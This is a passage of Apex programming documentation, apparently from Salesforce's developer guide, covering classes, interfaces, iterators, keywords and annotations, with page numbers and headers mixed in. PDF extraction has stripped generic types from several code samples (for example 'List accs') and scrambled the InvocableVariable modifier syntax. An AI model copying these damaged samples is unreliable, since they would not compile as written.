// Because no constructor is explicitly defined in this outer class, an implicit,
// no-argument, public constructor exists
// Inner interface
public virtual interface MyInterface {
// No access modifier is necessary for interface methods - these are always
// public or global depending on the interface visibility
void myMethod();
}
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
// Inner class - because it is virtual it can be extended.
// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {
// Inner member variables
private final String s;
private final String s2;
// Inner instance initialization block (this code could be located above)
{
this.s = 'x';
}
// Inline initialization (happens after the block above executes)
private final Integer i = s.length();
// Explicit no argument constructor
InnerClass() {
// This invokes another constructor that is defined later
this('none');
}
// Constructor that assigns a final variable value
public InnerClass(String s2) {
this.s2 = s2;
}
// Instance method that implements a method from MyInterface.
// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }
// Implementation of the second interface method above.
// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}
70
Classes, Objects, and Interfaces
Extended Class Example
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
// Override the parent class method with this signature.
// Must use the override keyword
public override void myMethod() { /* do something else */ }
// Same name as parent class method, but different signature.
// This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {}
// Abstract method - subclasses of this class must implement this method
abstract Integer abstractMethod();
}
// Complete the abstract class by implementing its abstract method
public class ConcreteChildClass extends AbstractChildClass {
// Here we expand the visibility of the parent method - note that visibility
// cannot be restricted by a sub-class
public override Integer abstractMethod() { return 5; }
}
// A second sub-class of the original InnerClass
public class AnotherChildClass extends InnerClass {
AnotherChildClass(String s) {
// Explicitly invoke a different super constructor than one with no arguments
super(s);
}
}
// Exception inner class
public virtual class MyException extends Exception {
// Exception class member variable
public Double d;
// Exception class constructor
MyException(Double d) {
this.d = d;
}
// Exception class method, marked as protected
protected void doIt() {}
}
// Exception classes can be abstract and implement interfaces
public abstract class MySecondException extends Exception implements MyInterface {
}
}
This code example illustrates:
71
Classes, Objects, and Interfaces
Extended Class Example
• A top-level class definition (also called an outer class)
• Static variables and static methods in the top-level class, as well as static initialization code blocks
• Member variables and methods for the top-level class
• Classes with no user-defined constructor — these have an implicit, no-argument constructor
• An interface definition in the top-level class
• An interface that extends another interface
• Inner class definitions (one level deep) within a top-level class
• A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method
signatures
• An inner class constructor definition and invocation
• An inner class member variable and a reference to it using the this keyword (with no arguments)
• An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
• Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces
({}). Note that these execute with every construction in the order they appear in the file, as with Java.
• Class extension and an abstract class
• Methods that override base class methods (which must be declared virtual)
• The override keyword for methods that override subclass methods
• Abstract methods and their implementation by concrete sub-classes
• The protected access modifier
• Exceptions as first class objects with members, methods, and constructors
This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');
// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);
// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());
// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();
// Illegal – cannot access a static method through an instance
72
Classes, Objects, and Interfaces
Understanding Interfaces
// o.getInt();
// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();
This code example illustrates:
• Construction of the outer class
• Construction of an inner class and the declaration of an inner interface type
• A variable declared as an interface type can be assigned an instance of a class that implements that interface
• Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)
Understanding Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that
come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method
to provide a discount. The amount of the discount can depend on the type of purchase order.
You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
This is the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}
This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}
This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}
Note the following about the above example:
73
Classes, Objects, and Interfaces
Custom Iterators
• The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers
and contain just their signature.
• The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. As with Java, any class that implements an interface must define all of the methods contained in the interface.
When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another
data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that
implements the interface, or a sub-interface data type.
See also Classes and Casting on page 95.
Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version.
IN THIS SECTION:
1. Custom Iterators
Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the
loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented
by 1 every time the loop is executed (count++) :
while (count < 11) {
System.debug(count);
count++;
}
Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data
that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also
be used if you have multiple SELECT statements.
Using Custom Iterators
To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:
Name
Arguments
Returns
Description
hasNext
Boolean
Returns true if there is another item in the collection being
traversed, false otherwise.
next
Any type
Returns the next item in the collection.
All methods in the Iterator interface must be declared as global or public.
You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
74
Classes, Objects, and Interfaces
Custom Iterators
system.debug(x.next());
}
Iterators are not currently supported in for loops.
Using Custom Iterators with Iterable
If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable
interface to generate the data structure.
The Iterable interface has the following method:
Name
Arguments
iterator
Returns
Description
Iterator class
Returns a reference to the iterator for this interface.
The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.
In the following example a custom iterator iterates through a collection:
global class CustomIterable
implements Iterator{
List accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){
if(i >= accs.size()) {
return false;
} else {
return true;
}
}
global Account next(){
// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
}
}
75
Classes, Objects, and Interfaces
Keywords
The following calls the above code:
global class foo implements iterable{
global Iterator Iterator(){
return new CustomIterable();
}
}
The following is a batch job that uses an iterator:
global class batchClass implements Database.batchable{
global Iterable start(Database.batchableContext info){
return new foo();
}
global void execute(Database.batchableContext info, List scope){
List accsToUpdate = new List();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 69;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.batchableContext info){
}
}
Keywords
Apex has the following keywords available:
• final
• instanceof
• super
• this
• transient
• with sharing and without sharing
IN THIS SECTION:
1. Using the final Keyword
2. Using the instanceof Keyword
3. Using the super Keyword
4. Using the this Keyword
5. Using the transient Keyword
6. Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
76
Classes, Objects, and Interfaces
Using the final Keyword
Using the final Keyword
You can use the final keyword to modify variables.
• Final variables can only be assigned a value once, either when you declare a variable or inside a constructor. You must assign a value
to it in one of these two places.
• Static final variables can be changed in static initialization code or where defined.
• Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
• To define a constant, mark a variable as both static and final.
• Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not
shared across requests.
• Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means
they cannot be overridden. Use the virtual keyword if you need to override a method or class.
Using the instanceof Keyword
If you need to verify at run time whether an object is actually an instance of a particular class, use the instanceof keyword. The
instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative
for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into a
CustomReport object.
If (Reports.get(0) instanceof CustomReport) {
// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} Else {
// Do something with the non-custom-report.
}
Note: In Apex saved with API version 32.0 and later, instanceof returns false if the left operand is a null object. For
example, the following sample returns false.
Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);
In API version 31.0 and earlier, instanceof returns true in this case.
Using the super Keyword
The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;
public SuperClass() {
77
Classes, Objects, and Interfaces
Using the this Keyword
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
public virtual void printName() {
System.debug('My name is ' + mySalutation + myLastName);
}
public virtual String getFirstName() {
return myFirstName;
}
}
You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}
The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}
Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
Best Practices for Using the super Keyword
• Only classes that are extending from virtual or abstract classes can use super.
• You can only use super in methods that are designated with the override keyword.
Using the this Keyword
There are two different ways of using the this keyword.
78
Classes, Objects, and Interfaces
Using the transient Keyword
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears.
Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {
string s;
{
this.s = 'TestString';
}
}
In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {
// First constructor for the class. It requires a string parameter.
public testThis(string s2) {
}
// Second constructor for the class. It does not require a parameter.
// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}
When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.
Using the transient Keyword
Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state
for a Visualforce page. For example:
Transient Integer currentTotal;
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
• PageReferences
• XmlStream classes
• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
79
Classes, Objects, and Interfaces
Using the with sharing or without sharing Keywords
• JSONParser class instances.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
T1: {!t1}
T2: {!t2}
public class ExampleController {
DateTime t1;
transient DateTime t2;
public String getT1() {
if (t1 == null) t1 = System.now();
return '' + t1;
}
public String getT2() {
if (t2 == null) t2 = System.now();
return '' + t2;
}
}
SEE ALSO:
JSONParser Class
Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You
have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to
all objects and fields— object permissions, field-level security, sharing rules aren’t applied for the current user. This is to ensure that
code won’t fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with
the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the
current user. For more information on executeAnonymous, see Anonymous Blocks on page 209.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {
// Code here
}
80
Classes, Objects, and Interfaces
Annotations
Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced.
For example, you may want to explicitly turn off sharing rule enforcement when a class acquires sharing rules when it is called from
another class that is declared using with sharing.
public without sharing class noSharing {
// Code here
}
Some things to note about sharing keywords:
• The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if
a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method
will execute with sharing rules enforced.
• If a class isn’t declared as either with or without sharing, the current sharing rules remain in effect. This means that the class doesn’t
enforce sharing rules except if it acquires sharing rules from another class. For example, if the class is called by another class that has
sharing enforced, then sharing is enforced for the called class.
• Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the
class, including initialization code, constructors, and methods.
• Inner classes do not inherit the sharing setting from their container class.
• Classes inherit this setting from a parent class when one class extends or implements another.
Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java.
Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it
immediately before the method or class definition. For example:
global class MyClass {
@future
Public static void myMethod(String a)
{
//long-running Apex code
}
}
Apex supports the following annotations.
• @AuraEnabled
• @Deprecated
• @Future
• @InvocableMethod
• @InvocableVariable
• @IsTest
• @ReadOnly
• @RemoteAction
• @TestSetup
81
Classes, Objects, and Interfaces
AuraEnabled Annotation
• @TestVisible
• Apex REST annotations:
– @RestResource(urlMapping='/yourUrl')
– @HttpDelete
– @HttpGet
– @HttpPatch
– @HttpPost
– @HttpPut
IN THIS SECTION:
1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
6. IsTest Annotation
7. ReadOnly Annotation
8. RemoteAction Annotation
9. TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test
methods in the class.
10. TestVisible Annotation
11. Apex REST Annotations
AuraEnabled Annotation
The @AuraEnabled annotation enables client- and server-side access to an Apex controller method. Providing this annotation makes
your methods available to your Lightning components. Only methods with this annotation are exposed. For more information, see the
Lightning Components Developer's Guide.
Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed
packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations.
82
Classes, Objects, and Interfaces
Future Annotation
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
}
Note the following rules when deprecating Apex identifiers:
• Unmanaged packages cannot contain code that uses the deprecated keyword.
• When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
• webService methods and variables cannot be deprecated.
• You can deprecate an enum but you cannot deprecate individual enum values.
• You can deprecate an interface but you cannot deprecate individual methods in an interface.
• You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
• You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version
where that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 599.
Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes
when Salesforce has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}
To allow callouts in a future method, specify (callout=true). The default is (callout=false), which prevents a method
from making callouts.
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
83
Classes, Objects, and Interfaces
InvocableMethod Annotation
//Add code to perform callout
}
Future Method Considerations
• Remember that any method using the future annotation requires special consideration because the method does not necessarily
execute in the same order it is called.
• Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName
methods, nor in the constructor.
• You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.
InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
Invocable methods are called with the REST API and used to invoke a single Apex method. Invocable methods have dynamic input and
output values and support describe calls.
The following code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.')
public static List getAccountNames(List ids) {
List accountNames = new List();
List accounts = [SELECT Name FROM Account WHERE Id in :ids];
for (Account account : accounts) {
accountNames.add(account.Name);
}
return accountNames;
}
}
This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label='Insert Accounts' description='Inserts the accounts specified and
returns the IDs of the new accounts.')
public static List insertAccounts(List accounts) {
Database.SaveResult[] results = Database.insert(accounts);
List accountIds = new List();
for (Database.SaveResult result : results) {
if (result.isSuccess()) {
accountIds.add(result.getId());
}
}
return accountIds;
}
}
84
Classes, Objects, and Interfaces
InvocableVariable Annotation
Invocable Method Considerations
Implementation Notes
• The invocable method must be static and public or global, and its class must be an outer class.
• Only one method in a class can have the InvocableMethod annotation.
• Triggers can’t reference invocable methods.
• Other annotations can’t be used with the InvocableMethod annotation.
Inputs and Outputs
There can be at most one input parameter and its data type must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
• A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
• A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
If the return type is not Null, the data type returned by the method must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
• A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
• A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
Managed Packages
• You can use invocable methods in packages, but once you add an invocable method you can’t remove it from later versions of
the package.
• Public invocable methods can be referred to by flows and processes within the managed package.
• Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in the Cloud
Flow Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
method’s invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
The following code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List convertLeads(List
requests) {
List results = new List();
for (ConvertLeadActionRequest request : requests) {
results.add(convertLead(request));
}
return results;
85
Classes, Objects, and Interfaces
InvocableVariable Annotation
}
public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(request.leadId);
lc.setConvertedStatus(request.convertedStatus);
if (request.accountId != null) {
lc.setAccountId(request.accountId);
}
if (request.contactId != null) {
lc.setContactId(request.contactId);
}
if (request.overWriteLeadSource != null && request.overWriteLeadSource) {
lc.setOverwriteLeadSource(request.overWriteLeadSource);
}
if (request.createOpportunity != null && !request.createOpportunity) {
lc.setDoNotCreateOpportunity(!request.createOpportunity);
}
if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}
if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}
if (request.sendEmailToOwner != null && request.sendEmailToOwner) {
lc.setSendNotificationEmail(request.sendEmailToOwner);
}
Database.LeadConvertResult lcr = Database.convertLead(lc, true);
if (lcr.isSuccess()) {
ConvertLeadActionResult result = new ConvertLeadActionResult();
result.accountId = lcr.getAccountId();
result.contactId = lcr.getContactId();
result.opportunityId = lcr.getOpportunityId();
return result;
} else {
throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
}
}
global class ConvertLeadActionRequest {
@InvocableVariable(required=true)
global ID leadId;
@InvocableVariable(required=true)
global String convertedStatus;
86
Classes, Objects, and Interfaces
InvocableVariable Annotation
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global Boolean overWriteLeadSource;
@InvocableVariable
global Boolean createOpportunity;
@InvocableVariable
global String opportunityName;
@InvocableVariable
global ID ownerId;
@InvocableVariable
global Boolean sendEmailToOwner;
}
global class ConvertLeadActionResult {
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global ID opportunityId;
}
class ConvertLeadActionException extends Exception {}
}
InvocableVariable Modifiers
The invocable variable annotation has three available modifiers, as shown in this example.
@InvocableVariable(label='yourLabel'
false))
description='yourDescription' required=(true |
All modifiers are optional.
label
The label for the variable. The default is the variable name.
description
The description for the variable. The default is Null.
required
Whether the variable is required. If not specified, the default is false. The value is ignored for output variables.
87
Classes, Objects, and Interfaces
IsTest Annotation
InvocableVariable Considerations
• Other annotations can’t be used with the InvocableVariable annotation.
• Only global and public variables can be invocable variables.
• The invocable variable can’t be one of the following:
– A type such as an interface, class, or enum.
– A non-member variable such as a static or local variable.
– A property.
– A final variable.
– Protected or private.
• The data type of the invocable variable must be one of the following:
– A primitive data type or a list of a primitive data type – the generic Object type is not supported.
– An sObject type or a list of an sObject type – the generic sObject type is not supported.
• For managed packages:
– Public invocable variables can be set in flows and processes within the same managed package.
– Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in the Cloud Flow
Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
IsTest Annotation
Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest
annotation on methods is equivalent to the testMethod keyword.
Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code.
Classes and methods defined as isTest can be either private or public. Classes defined as isTest must be top-level classes.
This is an example of a private test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code
}
}
This is an example of a public test class that contains utility methods for test data creation:
@isTest
public class TestUtil {
88
Classes, Objects, and Interfaces
IsTest Annotation
public static void createTestAccounts() {
// Create some test accounts
}
public static void createTestContacts() {
// Create some test contacts
}
}
Classes defined as isTest can't be interfaces or enums.
Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't
be called by a non-test request.. To learn about the various ways you can run test methods, see Run Unit Test Methods.
IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the isTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization, including pre-existing data that the test didn’t create. Starting
with Apex code saved using Salesforce API version 24.0, test methods don’t have access by default to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization and its
data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 563.
Considerations for the IsTest(SeeAllData=true) Annotation
• If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the testmethod keyword.
• The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that method
if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the
method will still have access to all the data in the organization.
This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
89
Classes, Objects, and Interfaces
IsTest Annotation
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}
This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that
the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable access
to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in addition
to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
IsTest(OnInstall=true) Annotation
Use the IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation
must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A
90
Classes, Objects, and Interfaces
ReadOnly Annotation
test method or a class that doesn't have this annotation, or that is annotated with isTest(OnInstall=false) or isTest,
won't be executed during installation.
This example shows how to annotate a test method that will be executed during package installation. In this example, test1 will be
executed but test2 and test3 won't.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@isTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@isTest(OnInstall=true)
static void test1() {
// Some test code
}
// Tests excluded from running during the
// the installation of a package.
@isTest
static void test2() {
// Some test code
}
static testmethod void test3() {
// Some test code
}
}
ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's
important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing
the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future,
and sending emails.
The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation,
the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web
service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
, you can set the readonly attribute on the tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.
91
Classes, Objects, and Interfaces
RemoteAction Annotation
RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 1: Remote Request Elements
Element
Description
namespace
The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
controller
The name of your Apex controller.
method
The name of the Apex method you’re calling.
parameters
A comma-separated list of parameters that your method takes.
callbackFunction
The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration
Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.
Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
